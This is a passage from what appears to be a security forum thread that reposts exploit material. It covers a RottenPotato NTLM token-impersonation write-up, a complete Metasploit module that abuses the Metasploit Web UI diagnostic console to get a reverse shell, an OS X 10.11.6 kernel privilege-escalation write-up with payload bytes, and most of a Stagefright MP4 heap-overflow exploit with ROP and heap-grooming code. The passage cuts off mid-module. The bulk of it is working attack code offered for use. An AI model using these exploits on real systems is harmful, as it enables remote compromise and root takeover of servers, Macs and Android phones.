(Negotiate) packet to RPC on port 135, RPC will now reply with an NTM Type 2 (Challenge) packet which can be seen in our packet capture above in packet #33. This time, we do NOT simply forward this packet back to COM, we need to do some work first. Let’s take a closer look at the two NTLM Type 2 (Challenge) packets from the capture above: Notice the highlighted field “NTLM Server Challenge” and the field below it “Reserved”, and that they differ in value. This would not be the case if we had simply forwarded the packet from RPC (on the left) to COM (the one on the right). Recall that when we made the Windows API call to “AcceptSecurityContext”, the output of that call was an NTLM Type 2 (Challenge) message. What we’ve done here is replace the NTLM blob inside the packet that we are sending to COM with the result of that API call. Why would we do this? Because we need COM, running as the SYSTEM account to authenticate using the NTLM challenge and “Reserved” section that we are using to negotiate our local token, if we did not replace this section in the packet, then our call to “AcceptSecurityContext” would fail. We’ll talk more about how local NTLM authentication works later, but for now just know that the client who is trying to authenticate (in this case SYSTEM through COM) needs to do some magic with the “NTLM Server Challenge” and “Reserved” sections of the NTLM Type 2 (Negotiate) packet, and that we’ll only get our token if this magic is performed on the values produced by our call to “AcceptSecurityContext”. NTLM TYPE 3 (AUTHENTICATE) PACKET So now we’ve forwarded the modified NTLM Type 2(Negotiate) packet to COM where the “Challenge” and “Reserved” fields match the output from “AcceptSecurityContext”. The “Reserved” field is actually a reference to a SecHandle, and when the SYSTEM account receives the NTLM Type 2 message, it will perform authentication behind the scenes in memory. That is why it is so crucial that we update the “Reserved” field… Otherwise, it would be authenticating to RPC instead of US! Once this is completed, COM on behalf of the SYSTEM account will send us back the NTLM Type 3 (Authenticate) packet. This will just be empty (because all the actual authentication here happened in memory), but we will use it to make our final call to “AcceptSecurityContext”. We can then call “ImpersonateSecurityContext” with the result of the final call above to get an impersonation token. Using the ImpersonationToken The following diagram (youtube play bar included) from James Forshaw’s BlackHat talk“Social Engineering the Windows Kernel” shows the pre-requisites to impersonating the token that we have now negotiated: From this, it is clear that if we want to impersonate the token, we better be running as an account with SeImpersonate privilege (or equivalent). Luckily this includes many service accounts in Windows that penetration testers often end up running as. For example, the IIS and SQL Server accounts. The following two videos show the exploit in action: IIS: SQL Server: Sursa: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
      • 3
      • Upvote
  20. These are the videos of the presentations from Derbycon 2016. Big thanks to my video jockeys Sabrina, Some Ninja Master, Glenn Barret, Dave Lauer, Jordan Meurer, Brandon Grindatti, Joey, Fozy, nightcarnage, Evan Davison, Chris Bridwell, Rick Hayes, Tim Sayre, Lisa Philpott, Ben Pendygraft, Sarah Clarke, Steven (SciaticNerd), Cory Hurst, Sam Remington, Barbie, Chris Bissle (and maybe the speakers too I guess). Link: http://www.irongeek.com/i.php?page=videos/derbycon6/mainlist
  21. APT2 - An Automated Penetration Testing Toolkit dM. `MMMMMMMb. MMMMMMMMMM ,MMb MM `Mb / MM \ d'YM. MM MM MM ____ ,P `Mb MM MM MM 6MMMMb d' YM. MM .M9 MM MM' `Mb ,P `Mb MMMMMMM9' MM ,MM d' YM. MM MM ,MM' ,MMMMMMMMb MM MM ,M' d' YM. MM MM ,M' _dM_ _dMM_MM_ _MM_MMMMMMMM An Automated Penetration Testing Toolkit This tool will perform an NMap scan, or import the results of a scan from Nexpose, Nessus, or NMap. The processesd results will be used to launch exploit and enumeration modules according to the configurable Safe Level and enumerated service information. All module results are stored on localhost and are part of APT2's Knowledge Base (KB). The KB is accessible from within the application and allows the user to view the harvested results of an exploit module. Link: https://github.com/MooseDojo/apt2
      • 2
      • Upvote
  22. Metasploit Web UI - Diagnostic Console Command Execution ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Metasploit Web UI Diagnostic Console Command Execution', 'Description' => %q{ This module exploits the "diagnostic console" feature in the Metasploit Web UI to obtain a reverse shell. The diagnostic console is able to be enabled or disabled by an administrator on Metasploit Pro and by an authenticated user on Metasploit Express and Metasploit Community. When enabled, the diagnostic console provides access to msfconsole via the web interface. An authenticated user can then use the console to execute shell commands. NOTE: Valid credentials are required for this module. Tested against: Metasploit Community 4.1.0, Metasploit Community 4.8.2, Metasploit Community 4.12.0 }, 'Author' => [ 'Justin Steven' ], # @justinsteven 'License' => MSF_LICENSE, 'Privileged' => true, 'Arch' => ARCH_CMD, 'Payload' => { 'PayloadType' => 'cmd' }, 'Targets' => [ [ 'Unix', { 'Platform' => [ 'unix' ] } ], [ 'Windows', { 'Platform' => [ 'windows' ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 23 2016' )) register_options( [ OptBool.new('SSL', [ true, 'Use SSL', true ]), OptPort.new('RPORT', [ true, '', 3790 ]), OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) ], self.class) end def do_login() print_status('Obtaining cookies and authenticity_token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), }) unless res fail_with(Failure::NotFound, 'Failed to retrieve login page') end unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/ fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?") end authenticity_token = $1 session = res.get_cookies print_status('Logging in') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'user_sessions'), 'cookie' => session, 'vars_post' => { 'utf8' => '\xE2\x9C\x93', 'authenticity_token' => authenticity_token, 'user_session[username]' => datastore['USERNAME'], 'user_session[password]' => datastore['PASSWORD'], 'commit' => 'Sign in' } }) unless res fail_with(Failure::NotFound, 'Failed to log in') end return res.get_cookies, authenticity_token end def get_console_status(session) print_status('Getting diagnostic console status and profile_id') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'settings'), 'cookie' => session, }) unless res fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id') end unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/ fail_with(Failure::UnexpectedReply, 'Failed to get profile_id') end profile_id = $1 if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/ console_status = true elsif res.body =~ /<input\W+.*\bid="allow_console_access"/ console_status = false else fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status') end print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}") return console_status, profile_id end def set_console_status(session, authenticity_token, profile_id, new_console_status) print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'), 'cookie' => session, 'vars_post' => { 'utf8' => '\xE2\x9C\x93', '_method' => 'patch', 'authenticity_token' => authenticity_token, 'profile_id' => profile_id, 'allow_console_access' => new_console_status, 'commit' => 'Update Settings' } }) unless res fail_with(Failure::NotFound, 'Failed to set status of diagnostic console') end end def get_container_id(session, container_label) container_label_singular = container_label.gsub(/s$/, "") print_status("Getting ID of a valid #{container_label_singular}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label), 'cookie' => session, }) unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/ print_warning("Failed to get a valid #{container_label_singular} ID") return end container_id = $1 vprint_good("Got: #{container_id}") container_id end def get_console(session, container_label, container_id) print_status('Creating a console, getting its ID and authenticity_token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'), 'cookie' => session, }) unless res && res.headers['location'] fail_with(Failure::UnexpectedReply, 'Failed to get a console ID') end console_id = res.headers['location'].split('/')[-1] vprint_good("Got console ID: #{console_id}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id), 'cookie' => session, }) unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/ fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token') end console_authenticity_token = $1 return console_id, console_authenticity_token end def run_command(session, container_label, console_authenticity_token, container_id, console_id, command) print_status('Running payload') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id), 'cookie' => session, 'vars_post' => { 'read' => 'yes', 'cmd' => command, 'authenticity_token' => console_authenticity_token, 'last_event' => '0', '_' => '' } }) unless res fail_with(Failure::NotFound, 'Failed to run command') end end def exploit session, authenticity_token = do_login() original_console_status, profile_id = get_console_status(session) unless original_console_status set_console_status(session, authenticity_token, profile_id, true) end if container_id = get_container_id(session, "workspaces") # target calls them "workspaces" container_label = "workspaces" elsif container_id = get_container_id(session, "projects") # target calls them "projects" container_label = "projects" else fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.') end console_id, console_authenticity_token = get_console(session, container_label,container_id) run_command(session, container_label, console_authenticity_token, container_id, console_id, payload.encoded) unless original_console_status set_console_status(session, authenticity_token, profile_id, false) end handler end end Sursa: https://www.exploit-db.com/exploits/40415/
  23. Local privilege escalation for OS X 10.11.6 via PEGASUS Author: Min (Spark) Zheng @ Team OverSky 0x00 Introduction Because of the PEGASUS apt issue on iOS, Trident exploit is very hot recently. From Lookout’s report, there are three vulnerabilities in the Trident exploit: CVE-2016-4657: Visiting a maliciously crafted website may lead to arbitrary code execution. CVE-2016-4655: An application may be able to disclose kernel memory. CVE-2016-4656: An application may be able to execute arbitrary code with kernel privileges. Although Lookout didn’t release the malware, Stefan Esser and Pangu still found the vulnerabilities of CVE-2016-4655 and CVE-2016-4656. Therefore, we can use these two vulnerabilities to achieve local privilege escalation for OS X 10.11.6 and jailbreak for iOS 9.3.4. 0x01 CVE-2016-4655 kernel info leak Because XNU kernel doesn’t check the length of serialized OSNumber in the OSUnserializeBinary() function, we can create an OSNumber with a very long length: uint32_t data[] = { 0x000000d3, 0x81000001, 0x08000004, 0x006e696d, 0x84000200, //change the length of OSNumber 0x41414141, 0x41414141 }; After sending the serialized OSNumber to the kernel, we can use io_registry_entry_get_property_bytes() to get the data back from the kernel: Because we can control the length of returned data, we can get extra data from the kernel stack. Some useful information like function return address can help us to calculate the kernel slide and break the kalsr protection. 0x02 CVE-2016-4656 kernel UAF For CVE-2016-4656, Stefan Esser introduced two ways to trigger the UAF vulnerability. We will use the sample way to exploit the kernel in this article. We know that OSUnserializeBinary() supports OSString and OSSymbol as the keys for the dictionary and we can use an OSObject to point to an old key. However, the OSString key will be freed when it convents into an OSSymbol. Therefore, if we create an OSObject and point it to a freed OSString, it will trigger UAF in the kernel. Here is the crash point when the system wants to retain an OSObject that points to a freed OSString: Therefore, we can create a crafted dictionary: <dict> <string>A</string> <bool>true</bool> <key>B</key> <data>vtable data...</data> <object>1</object> </dict> Then we send this crafted dictionary to the kernel, RIP will be set to the vtable entry at index 4 while RAX points to the start of the vtable. For the ROP part, we can reuse the code of tpwn and rootsh to achieve local privilege escalation on OS X. 0x03 Running the Exploit Here is the test environment: OS X EI Capitan 10.11.6 (15G31). Note that if you want to test this exp, you should not install Security Update 2016-001 (like iOS 9.3.5 patch for PEGASUS). And I hardcoded a kernel address to calculate the kslide, it may be different on your mac. Then we compile the exploit and run it: clang -framework IOKit -framework Foundation -framework CoreFoundation -m32 -Wl,-pagezero_size,0 -O3 exp.m lsym.m -o exp As you can see, our exploit got the root privilege successfully. 0x04 Summary In this article, we introduced how to use CVE-2016-4655 and CVE-2016-4656 to achieve local privilege escalation on OS X 10.11.6. Last but not least, the exploit source code can be downloaded at:https://github.com/zhengmin1989/OS-X-10.11.6-Exp-via-PEGASUS 0x05 Reference 1. http://blog.pangu.io/cve-2016-4655/ 2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html 3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/ 4. https://github.com/kpwn/tpwn Sursa: https://jaq.alibaba.com/community/art/show?articleid=532
  24. Android 5.0 <= 5.1.1 - Stagefright .MP4 tx3g Integer Overflow (Metasploit) ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Android Stagefright MP4 tx3g Integer Overflow", 'Description' => %q{ This module exploits a integer overflow vulnerability in the Stagefright Library (libstagefright.so). The vulnerability occurs when parsing specially crafted MP4 files. While a wide variety of remote attack vectors exist, this particular exploit is designed to work within an HTML5 compliant browser. Exploitation is done by supplying a specially crafted MP4 file with two tx3g atoms that, when their sizes are summed, cause an integer overflow when processing the second atom. As a result, a temporary buffer is allocated with insufficient size and a memcpy call leads to a heap overflow. This version of the exploit uses a two-stage information leak based on corrupting the MetaData that the browser reads from mediaserver. This method is based on a technique published in NorthBit's Metaphor paper. First, we use a variant of their technique to read the address of a heap buffer located adjacent to a SampleIterator object as the video HTML element's videoHeight. Next, we read the vtable pointer from an empty Vector within the SampleIterator object using the video element's duration. This gives us a code address that we can use to determine the base address of libstagefright and construct a ROP chain dynamically. NOTE: the mediaserver process on many Android devices (Nexus, for example) is constrained by SELinux and thus cannot use the execve system call. To avoid this problem, the original exploit uses a kernel exploit payload that disables SELinux and spawns a shell as root. Work is underway to make the framework more amenable to these types of situations. Until that work is complete, this exploit will only yield a shell on devices without SELinux or with SELinux in permissive mode. }, 'License' => MSF_LICENSE, 'Author' => [ # Exodus/jordan # initial discovery / disclosure 'jduck', # Metasploit module, further infoleak development 'NorthBit' # intiial information leak implementation ], 'References' => [ [ 'CVE', '2015-3864' ], [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ], [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ], [ 'URL', 'https://github.com/NorthBit/Metaphor' ], # Not used, but related [ 'URL', 'http://drops.wooyun.org/papers/7558' ], [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ], [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ], ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, }, #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], 'Targets' => [ [ 'Automatic', {} ], # # Each target includes information about the device, firmware, and # how exactly to about exploiting it. # # Primarily, these targets are used to map a browser's User-Agent to # exploit specifics for that device / build. # [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)', { 'Model' => 'Nexus 7', 'Build' => 'LRX21P', 'Release' => '5.0', 'Rop' => 'lrx', 'SprayAddress' => 0xb1508000 } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22G', 'Release' => '5.0.2', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47O', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47V', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)', { 'Model' => 'Nexus 7', 'Build' => 'LMY48G', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 7', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22G', 'Release' => '5.0.2', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47O', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47V', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)', { 'Model' => 'Nexus 5', 'Build' => 'LRX21O', 'Release' => '5.0', 'Rop' => 'lrx' } ], [ 'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 5', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)', { 'Model' => 'Nexus 5', 'Build' => 'LMY47D', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)', { 'Model' => 'Nexus 5', 'Build' => 'LMY47I', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)', { 'Model' => 'Nexus 5', 'Build' => 'LMY48B', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 5', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 6 (shamu) with Android 5.0 (LRX21O)', { 'Model' => 'Nexus 6', 'Build' => 'LRX21O', 'Release' => '5.0', 'Rop' => 'lrx' } ], [ 'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 6', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47D)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47D', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47E)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47E', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47I)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47I', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)', { 'Model' => 'Nexus 6', 'Build' => 'LYZ28E', 'Release' => '5.1.1', 'Rop' => 'shamu / LYZ28E' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47M)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47M', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47Z', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)', { 'Model' => 'Nexus 6', 'Build' => 'LVY48C', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 6', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)', { 'Model' => 'Nexus 6', 'Build' => 'LYZ28J', 'Release' => '5.1.1', 'Rop' => 'shamu / LYZ28J' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)', { 'Model' => 'Nexus 6', 'Build' => 'LVY48E', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)', { 'Model' => 'SM-G900V', 'Build' => 'LRX21T', 'Release' => '5.0', 'Rop' => 'sm-g900v / OE1', 'SprayAddress' => 0xaf008000, 'SampleIteratorSize' => 0xa8, 'VectorSize' => 0xec } ] ], 'Privileged' => true, 'DisclosureDate' => "Aug 13 2015", 'DefaultTarget' => 0)) =begin register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) =end end def exploit @peers = {} super end def get_target(request) agent = request.headers['User-Agent'] self.targets.each do |t| next if t.name == 'Automatic' regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}") return t if (agent =~ /#{regexp}/) end return nil end # # Construct a page worth of data that we'll spray # # NOTE: The data within is target-specific # def build_spray(my_target, peer, spray_addr) # Initialize the page to a reasonable state. page = '' page = rand_text(4096) # Load target-based exploit-specific variables details = get_details(my_target) return nil if details.nil? # Calculate the libstagefright.so base address vector_rva = details['VectorRVA'] vector_ptr = peer[:vector_vtable_addr] libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000) # If we smash mDataSource, this ends up controlling the program counter!! =begin 0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0] 0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0] 0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0] 0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4] 0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28] 0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10] 0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6 0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40 =end # Initialize our pivot values and adjust them to libstagefright's base. # First, load r0 (pointer to our buffer) into some register.. mds_pivot1 = libsf_base + details['Pivot1'] # Next, load sp (and probably other stuff) from there mds_pivot2 = libsf_base + details['Pivot2'] # Finally, skip over some stuff and kick of the ROP chain mds_adjust = libsf_base + details['Adjust'] # The offset to the ROP change beginning rop_start_off = 0x30 # Point sp to the remainder of the ROP chain new_sp = spray_addr + rop_start_off # Sometimes the spray isn't aligned perfectly, this fixes that situation... unalign_off = 0x998 new_sp2 = new_sp + 0x1000 - unalign_off # This pointer should point to the beginning of the shellcode payload payload_ptr = spray_addr + 0xa0 # Put the stack back! stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp # Depending on the pivot strategy in use, we have to set things up slightly # differently... # # In each case, we use a two-stage pivot that reads the spray address from # r0 (we smashed that, remember). # # The addroffs array is used to map values to the offsets where the pivots # expect them to be. # case details['PivotStrategy'] when 'lrx' addroffs = [ [ 0x0, new_sp ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ], ] # Since we are only popping one item in pivot2, we reduce the rop_start_off rop_start_off -= 4 # Adjust the payload pointer payload_ptr -= 4 when 'lmy-1' addroffs = [ [ 0x8, new_sp ], [ 0xc, mds_adjust ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ] ] when 'lmy-2' ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, new_sp ], [ 0xc, mds_adjust ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ] ] stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp when 'lyz' ptr_to_mds_pivot2 = spray_addr + 0x8 addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, mds_pivot2 ], [ 0x1c, mds_pivot1 ], [ 0x24, new_sp ], # lr is at 0x28! [ 0x2c, mds_adjust ] ] # We can't fix it becuse we don't know where the original stack is anymore :-/ stack_fix = "" when 'sm-g900v' addroffs = [ [ 0x4, mds_adjust ], [ 0x10, new_sp ], [ 0x1c, mds_pivot1 ], [ 0x20, mds_pivot2 ] ] else print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!") return nil end # We need our ROP to build the page... Create it. rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] }) # Fix up the payload pointer in the ROP idx = rop.index([ 0xc600613c ].pack('V')) rop[idx, 4] = [ payload_ptr ].pack('V') # Insert the ROP page[rop_start_off, rop.length] = rop # Insert the special values... addroffs.each do |ao| off,addr = ao page[off,4] = [ addr ].pack('V') # Sometimes the spray isn't aligned perfectly... if addr == new_sp page[off+unalign_off,4] = [ new_sp2 ].pack('V') else page[off+unalign_off,4] = [ addr ].pack('V') end end page end # # MPEG-4 specific functionality # def get_atom(tag, data='', length=nil) if tag.length != 4 raise 'Yo! They call it "FourCC" for a reason.' end length ||= data.length + 8 if length >= 2**32 return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join end [ [ length ].pack('N'), tag, data ].join end def get_stsc(num) stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num get_atom('stsc', stsc_data) end def get_ftyp # Build the MP4 header... ftyp = 'mp42' ftyp << [ 0 ].pack('N') ftyp << 'mp42' ftyp << 'isom' get_atom('ftyp', ftyp) end def get_pssh(alloc_size) pssh_data = '' pssh_data << [ 0 ].pack('N') pssh_data << [ 0, 0, 0, 0 ].pack('N*') pssh_data << [ alloc_size ].pack('N') alloc_size.times do |off| pssh_data << [ 0x55aa0000 + off ] .pack('V') end get_atom('pssh', pssh_data) end def get_metaitem(tag, type, data) ret = '' ret << tag.reverse ret << type.reverse case type when 'in32' ret << [ 4, data ].pack('V*') when 'in64' ret << [ 8, data ].pack('V*') else raise "How do you expect me to make a #{type.inspect} ??" end ret end def jemalloc_round(sz) # These are in the 16-byte aligned runs if (sz > 0x10 && sz <= 0x80) round = 16 # 160 starts the 32-byte aligned runs elsif (sz > 0x80 && sz <= 0x140) round = 32 else raise "Don't know how to round 0x%x" % sz end ret = (sz + (round - 1)) / round ret *= round return ret end # # Leak data from mediaserver back to the browser! # # Stage 1 - leak a heap pointer near a SampleIterator object # Stage 2 - read a code pointer from the SampleIterator object # def get_mp4_leak(my_target, peer) # MPEG4 Fileformat Reference: # http://qtra.apple.com/index.html # # Structure: # [File type Chunk][Other Atom Chunks] # # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # sampiter_alloc_size = 0x78 sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil? sampiter_rounded = jemalloc_round(sampiter_alloc_size) vector_alloc_size = 0x8c vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil? groom_count = 0x10 is_samsung = (my_target['Rop'] == 'sm-g900v / OE1') # Coerce the heap into a favorable shape (fill holes) shape_vector = get_pssh(vector_alloc_size) # Allocate a block of memory of the correct size placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C')) # Make the first tx3g chunk, which is meant to overflow into a MetaData array. # We account for the overhead of both chunks here and aim for this layout: # # placeholder after re-allocation | vector array data # <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data> # # Realistically, tx3g1_padding can be any number that rounds up to the # correct size class. tx3g1_overhead = 0x8 tx3g2_overhead = 0x10 tx3g_target = jemalloc_round(vector_alloc_size) tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead) tx3g_data = 'x' * tx3g1_padding tx3g_1 = get_atom('tx3g', tx3g_data) # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only) # avcC was in the initial commit. near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size) # Craft the data that will overwrite the header and part of the MetaData # array... more_data = '' more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*') # Now add the thing(s) we want to control (partially) # # We add some BS entries just to kill the real 'heig' and get proper # ordering... near_sampiter_addr = peer[:near_sampiter_addr] if near_sampiter_addr.nil? # Part 1. Leak the address of a chunk that should be adjacent to a # SampleIterator object. if is_samsung # On Samsung: # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt # After: dmcE, abc1, abc2, abc3, heig... more_data << get_metaitem('dmcE', 'in32', 1) more_data << get_metaitem('abc1', 'in32', 31335) more_data << get_metaitem('abc2', 'in32', 31336) end # On Nexus: # Before: heig, hvcc, inpS, mime, text, widt # After: abc3, heig... more_data << get_metaitem('abc3', 'in32', 31337) # NOTE: We only use the first 12 bytes so that we don't overwrite the # pointer that is already there! heig = get_metaitem('heig', 'in32', 31338) more_data << heig[0,12] else # Part 2. Read from the specified address, as with the original Metaphor # exploit. if is_samsung # On Samsung: # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt # After: dmcE, dura, ... more_data << get_metaitem('dmcE', 'in32', 1) else # On Nexus: # Before: avcc, heig, inpS, mime, text, widt # After: dura, ... near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size) end # Try to read the mCurrentChunkSampleSizes vtable ptr within a # SampleIterator object. This only works because the Vector is empty thus # passing the restrictions imposed by the duration conversion. ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30 more_data << 